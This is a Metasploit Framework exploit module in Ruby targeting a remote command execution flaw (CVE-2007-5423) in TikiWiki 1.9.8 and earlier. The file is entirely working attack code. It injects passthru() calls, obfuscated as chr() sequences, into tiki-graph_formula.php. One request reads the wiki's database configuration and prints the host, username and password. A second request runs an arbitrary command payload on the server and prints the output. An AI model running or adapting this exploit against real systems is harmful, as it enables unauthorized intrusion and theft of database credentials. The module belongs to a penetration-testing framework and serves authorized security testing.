##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# https://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TikiWiki tiki-graph_formula Remote Command Execution',
      'Description'    => %q{
          TikiWiki (<= 1.9.8) contains a flaw that may allow a remote attacker to execute arbitrary commands. 
          The issue is due to 'tiki-graph_formula.php' script not properly sanitizing user input 
          supplied to the f variable, which may allow a remote attacker to execute arbitrary PHP 
          commands resulting in a loss of integrity.
      },
      'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          ['CVE', '2007-5423'],
          ['OSVDB', '40478'],
          ['BID', '26006'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby bash telnet',
            }
        },    
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Oct 10 2007',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki"]),
        ], self.class)
  end

  def check
    res = send_request_raw({
      'uri'     => datastore['URI'] + "/tiki-index.php",
      'method'  => 'GET',
      'headers' =>
      {
        'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
        'Connection' => 'Close',
      }
    }, 25)

    if (res and res.message == "OK" and res.body.match(/TikiWiki v1.|TikiWiki 1./))
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit

    url_db_local = datastore['URI'] + 
        "/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.passthru(" + 
        "chr(101).chr(99).chr(104).chr(111).chr(32)." + "chr(89).chr(89).chr(89)." + "chr(59)." +
        "chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +
        "chr(59)." + "chr(101).chr(99).chr(104).chr(111).chr(32)." + "chr(89).chr(89).chr(89)" +
        ").die()&t=png&title="

    print_status("Sending request...")
    
    res = send_request_raw({
      'uri'     => url_db_local,
      'method'  => 'GET',
      'headers' =>
      {
        'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
        'Connection' => 'Close',
      }
    }, 25)

    if (res and res.message == "OK" and res.body)
      print_status("The server returned            : #{res.code} #{res.message}")
      print_status("Server version                 : #{res.headers['Server']}")

      db_tiki   = res.body.match(/db_tiki='(.*?)';/m)
      dbversion = res.body.match(/dbversion_tiki='(.*?)';/m)
      host_tiki = res.body.match(/host_tiki='(.*?)';/m)
      user_tiki = res.body.match(/user_tiki='(.*?)';/m)
      pass_tiki = res.body.match(/pass_tiki='(.*?)';/m)
      dbs_tiki  = res.body.match(/dbs_tiki='(.*?)';/m)

      print_status("TikiWiki database informations : \n")
    
      print("db_tiki   : " + db_tiki[1]   + "\n")
      print("dbversion : " + dbversion[1] + "\n")
      print("host_tiki : " + host_tiki[1] + "\n")
      print("user_tiki : " + user_tiki[1] + "\n")
      print("pass_tiki : " + pass_tiki[1] + "\n")
      print("dbs_tiki  : " + dbs_tiki[1]  + "\n\n")
    else
      print_status("No response from the server")
    end

    command = Rex::Text.uri_encode(payload.encoded)
    encoded = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"

    url_cmd = datastore['URI'] + "/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.passthru(" +
      "chr(101).chr(99).chr(104).chr(111).chr(32)." + "chr(89).chr(89).chr(89)." + "chr(59)." + encoded + ".chr(59)." + 
      "chr(101).chr(99).chr(104).chr(111).chr(32)." + "chr(89).chr(89).chr(89)" + ").die()&t=png&title="

    print_status("Sending request...")
    
    res = send_request_raw({
      'uri'     => url_cmd,
      'method'  => 'GET',
      'headers' =>
      {
        'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
        'Connection' => 'Close',
      }
    }, 25)

    if (res and res.message == "OK" and res.body)

      print_status("The server returned            : #{res.code} #{res.message}")
      cmd_output = res.body.match(/YYY\n(.*)\nYYY/m)

      if (cmd_output)
        print_status("Command output from the server :")
        print("\n" + cmd_output[1] + "\n\n")
      else
        print_status("This server may not be vulnerable")
      end

    else
      print_status("No response from the server")
    end
  end

end